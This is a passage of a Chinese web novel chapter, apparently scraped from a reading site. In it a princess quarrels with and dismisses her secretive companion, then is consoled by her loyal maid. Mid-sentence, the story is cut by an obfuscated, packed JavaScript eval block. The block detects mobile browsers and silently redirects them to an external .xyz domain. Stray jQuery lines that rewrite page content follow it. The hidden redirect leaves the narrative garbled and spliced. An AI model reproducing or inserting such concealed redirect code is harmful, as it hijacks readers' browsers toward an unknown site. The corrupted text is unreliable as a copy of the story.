几日后,魏王的病有所好转,她终于能从宫中离开。
她只觉得脑中空空的,什么想法也没有,靠在云泉怀中,她身上的馨香让人十分安心,长公主很快就睡了过去。
再醒来时,支起的窗前漏进几缕月色,她拨开随风而动的床帷,赤着脚走到窗前。
夜风习习,扑在身上还是有些凉的,她拢了拢衣襟,恍惚间才想起该去找件衣服来穿。
也许突然回到熟悉的环境,紧绷的神经一下松了下来,房中没有点灯,她借着微弱的月光翻翻找找,不知道在黑暗中撞翻了什么东西。
“公主,您在找什么?”
她听见这声音,实在是有些久违,停了手上的动作,这才迟钝的发现眼前已经亮了起来。
“…冷。”
魏长沁垂眸视线向下,寝衣不足以遮完她的身体,膝盖上的淤青已经凝成了深紫色,在雪白的肌肤上格外显眼。
肩头多了件披风,他将她扶到一旁坐下,长公主双手捧着热茶,小口啜饮。
感受到他的视线落在自己膝上,长公主既懒得遮掩,也不想出声解释,放下茶盏,这段日子里酝酿了许久的话,终于有机会说出口。
“这么久没见,怎么不缠着我说有多想我了?”
她笑笑,语气却很冷,也没转头去看他,垂眸看向自己指尖,“你不说,便由我来说。”
“留下来,留在我身边,我可以既往不咎。”
魏长沁缓缓抬起眼,烛火照亮彼此的脸庞,四目相对,她语气从未这般坚决,“你从前说过的话,来我身边的目的,借我身份做的事,或是想杀我的那份心思…”
“只要你点头,我都可以当做一切都没发生过。给你安排一个新的身份,就此翻篇。”
她视线紧紧追着他,不错过他脸上任何一丝变化,待她说完,沉默良久,孟听寒分明还在看着她,眼波流转,却一语不发。
他主动移开了视线,脸别过去,眼帘垂着,短而直的睫毛轻轻颤动。
忽的起了阵穿堂风,吹得枝叶簌簌,也吹得烛火摇曳。
他为什么不说话?
这是在拒绝自己吗?
拒绝一个肯舍命为他挡刀,即使一直以来都被他隐瞒蒙骗,还愿意不计前嫌,主动挽留他的上位者?
“公主,您怎么又在说这些莫名其妙的话了。”
孟听寒动了,握住她紧攥成拳的手,二人间的距离再次消弭,她蹙着眉,压下心火听他继续说,“是刚才做噩梦了吗?”
她简直不敢相信自己的耳朵。
又是把她当成疯女人,避开她的问题,将矛头指回她身上。
她气得浑身都在发抖,咬着牙努力维持着濒临崩溃的理智,怔怔看着他,声音颤抖着再次开口:“你还没回答我。”
孟听寒将她拥入怀中,手轻轻拍在她背上,耳边传来他低声的安慰,一如从前她半夜惊醒时,他会做的那样。
浑身上下的血液都在向上冲,双手压在他肩头,一把将他推了出去,她脑子里翻来覆去只剩下一句话,从桌上随手抄起了什么就照着他掷了过去。
她也不知道自己使了多少力气,听见一声闷哼,紧接着就是瓷器碎裂的声音,惊得她稍稍拉回了些理智。
魏长沁垂眸看着地上四分五裂的碎片,花了些许时间,才拼凑出这东西是方才自己用过的茶盏。
手指仍在因为愤怒而颤抖,被他主动握住,拉到唇边,呼出的热气扑在指尖。
“您怎么用了这么大的劲,还生这么大的气?”
他的语气还是一如既往的温柔,脸颊轻轻贴在她手背,一下下吻着她指节,“手会不会疼。”
她怔怔看着他,孟听寒俯着身子,露出的额角处有一道红痕,虽然没破皮见血,但这痕迹估计会留很久。
魏长沁感受着手上传来的柔软触感,看着他关切的模样,心中难免动摇。
“……滚。”
她抽回手,背过身去,“给我滚!”
她听见身后传来悉悉索索的声音,应该是他在收拾残局,孟听寒没有说话,一切做完后便安静地离开了。
魏长沁也不知自己站了多久,浑身的热血都冷却了之后,才如梦初醒般,慢慢挪到了床边。
她长叹了口气,把脸埋进锦被中,熟悉的气味总是让人感到安心,脑中的眩晕感仍未退去。
到底是为什么,明明她都这般忍让了,怎么还是走到了这一步?
她既没有出去沾花惹草,也没有在府上养伶人男宠,更没有对他非打即骂,尽自己所能的对他好,为什么他就这么不识好歹?
明知往后会被皇后揪住错处不放,还是从宫宴上半途离席,带着他去看烟火。
明知他的身份不为人所容,还是在皇后面前强行将他保了下来,为此不得不在宫中佛堂里连着跪了几个日夜。
凭什么,他凭什么敢拒绝自己?
膝盖仍旧又疼又肿,连碰都碰不得,也没有什么法子可以缓解,只能等不适感和淤青自己慢慢消失。
她闭上眼数着自己心跳声,将脑中纷杂的思绪一点点摒除,她总觉得自己漏掉了什么。
感觉很关键,但被埋在深处,那感觉好似隔靴搔痒,无论如何都找不到要领。
脸被闷得发热,她支起身,大口大口地呼吸着微凉的空气,却被呛了一下,咳得在床上蜷成一团。
眼角挤出的生理性泪水聚在山根,像一团小小的湖泊,随着她的动作而掀起潮汐,又沿着着她的脸颊鼻尖落下,砸在布料上。
她靠在床头,将肩头滑下去的披风拢紧,把自己像只茧一样裹起来。
从前的一幕幕在脑中闪回,额头抵着的那块死物都被她的体温捂热,还是没能从过往的甜蜜里回神。
房门突然被叩响,她抬手在脸上胡乱抹了几下,只摸到已经干了的,还有些黏糊的泪痕。
“公主,您醒了?”
云泉的声音响起,又轻又柔,“奴婢做了些宵夜,您要不要吃一点。”
魏长沁闻言,才反应过来自己从宫中回来后粒米未进,昏睡了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786391|171839||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大半天,难怪大发脾气之后会觉得这么累。
她坐直了些,低下头去找不知道扔在哪里的鞋:“进来吧。”
宵夜是阳春面,她一边吃着,云泉一边为她梳头,长发用发带简单束起,垂在肩头。
这段日子云泉偶尔还能入宫见见她,将她暂时从皇后的压迫中解救出来。
二人坐在花廊下,分着天香楼的点心,她就觉得那样的痛苦也能熬过去了。
“好吃。”魏长沁放下筷子,碗里头只剩下飘在汤面上的油花。
云泉单手撑在桌上,托住脸颊,笑道:“那奴婢一直做给您吃。”
魏长沁听见这话,心头有点酸酸的,垂下脸想掩饰自己的情绪,云泉却一声不吭,主动将她抱住。
看来她也知道,自己已经和孟听寒在房里吵过一遭。
什么事情都瞒不过她,毕竟是多年的知交,她又向来心思细腻,这一点不论前世还是今生,都没变过。
魏长沁把脸埋进她肩窝,虽然只是一处单薄的身躯,但依靠在她身上,却能遮蔽这世间的风雨。
她也想同她倾诉,可话到嘴边,却不知该如何说清楚,几番纠结重组,最后都化成一声叹息。
她不知道如何用词藻修饰自己心底那肮脏的,难以直视的欲望,只是把脸埋得更深,攥住了云泉的衣服。
“…云泉,你是不会走的,对吧?”
云泉感受着她愈收愈紧的双手,二人胸口抵着胸口,就连呼吸变得小心翼翼,她不知道他们之间具体发生了什么,但她只需要做好自己分内的事情,就够了。
云泉也把下巴搭在她肩头,道:“奴婢会一直陪在公主身边。从前是,现在是,将来也是。”
二人相互依偎着,她不由得想到了从前。
两世的记忆交织在一起,都已经分辨不清了,却知道云泉永远是她的依靠。
她躺在床上,吃饱后总是很快便会犯困,魏长沁抓着云泉的手,云泉坐在床沿,守着她入睡。
迷迷糊糊间,那些压抑许久的想法与记忆卷土重来,她还是没能想明白,到底是哪一步错了,才会再次走入死胡同。
如果在梦里还能见到他的话,会得到答案吗。
一夜无梦,长公主睁开眼时,天已蒙蒙亮。
或许是前一天睡得太久,她头疼不已,哑声唤来门外的侍女,让她们做好晨起准备。
天色尚早,估计她睡着后云泉也回房歇下了,她还记得皇后说的,给她一天假期,今天仍旧要进宫复命。
接着搪塞过去吧,反正上次她都在佛堂中跪得晕倒了,虽然演技是有些拙劣,但她料定皇后不敢再对她如何。
她坐起身等待着,盯着某处发呆,视线扫过梳妆台上的妆奁盒,猛然间像是从乱麻团中找到了线头。
自己身边这个孟听寒不肯留下,不代表那个与她经历过一切,那个与她生死纠缠不休的孟听寒不愿意啊。
他又不是他。
如果是那个人……如果是他…
结果会不一样吗。